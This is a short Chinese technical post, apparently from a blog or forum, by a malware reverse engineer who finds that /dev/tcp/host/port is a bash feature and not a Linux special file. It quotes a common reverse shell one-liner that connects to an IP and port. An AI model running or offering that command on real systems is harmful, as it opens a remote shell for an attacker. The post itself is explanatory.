关于/dev/tcp/host/port
一直没打算接触web、渗透之类的,不过前不久为了搞清楚一个恶意软件的服务端实现(客户端逆完了,但是有些地方只能看服务端实现才能确定猜测是否正确,因为有些场景触发不了),所以现学了一下,拿到了几台Windows服务器和Linux服务器。
接触到反弹shell,常见的:bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
我能理解这是建立一个tcp连接,不能理解的是搜索了好多都说/dev/tcp/host/port是Linux的特殊文件。
。。。等等,其他搜索到的也差不多是这么说。
虽然Linux了解不多,Linux内核源码也只零散看过一些,但是从不记得有这个文件。
在sh或者对/dev/tcp/host/port进行访问、监控系统调用后(sh无法创建,读写文件肯定是找不到,看系统调用并没有对/dev/tcp/host/port的io操作,ioctl等也没有),猜测是不是bash提供的功能,查看bash源码发现:
看注释和代码验证了我的猜想,是个毛线的Linux特殊文件!
以上就是bash对/dev/tcp/的处理,截取出ip、端口,建立tcp连接。
我不懂的是他们是真的以为是一个文件还是怎样,太误导人了,实事求是不好吗